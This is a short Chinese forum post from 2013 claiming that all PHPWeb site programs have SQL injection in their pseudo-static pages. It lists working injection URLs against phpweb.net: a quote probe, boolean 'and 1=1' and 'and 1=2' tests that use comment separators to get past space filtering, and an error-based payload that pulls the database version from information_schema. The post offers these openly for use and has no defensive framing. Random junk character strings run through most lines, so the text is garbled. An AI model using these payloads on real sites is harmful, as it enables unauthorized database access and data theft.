phpweb所有的整站程序伪静态页面都存在sql注入/ z' J# R8 l8 G9 H
$ a' M) h$ n/ \. M# D主站：http://phpweb.net/
% u% T% V7 f7 W2 @加’检测：
% i% z8 K% r, i) Q' q; K( R: j0 n. t
$ O: e1 X# G. N3 d) Mhttp://www.phpweb.net/down/html/?772′.html1 r9 B% A+ n! D
5 C, ?9 p% o' g! Q( @
出错
" q9 a( e: l1 F0 A; s4 o; {/ H1 P存在注入。2 f( k: i! x* B' S$ W
不能用空格，只能用/*罗4 ~8 A( O; j2 y
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常0 }- {. y H( C3 ?! p8 p! S) d' [ {
j, Z# X! F# p; Y' f9 I/ v
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
5 K0 t. E: G; E: @爆数据库版本：) f+ e9 U/ K1 H b8 b% [, Y
, }6 _1 w7 o; Y$ D# |
?; S( u7 @$ H3 p3 {4 E
1, |* \/ R- Y P
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
& I' W' {# [4 n1 L8 U, T! s更新日期: 2013-01-03 13:39:50
' l" M! t, N- T0 j0 Z C |
发表于 2013-1-4 19:46:42
收藏
支持
反对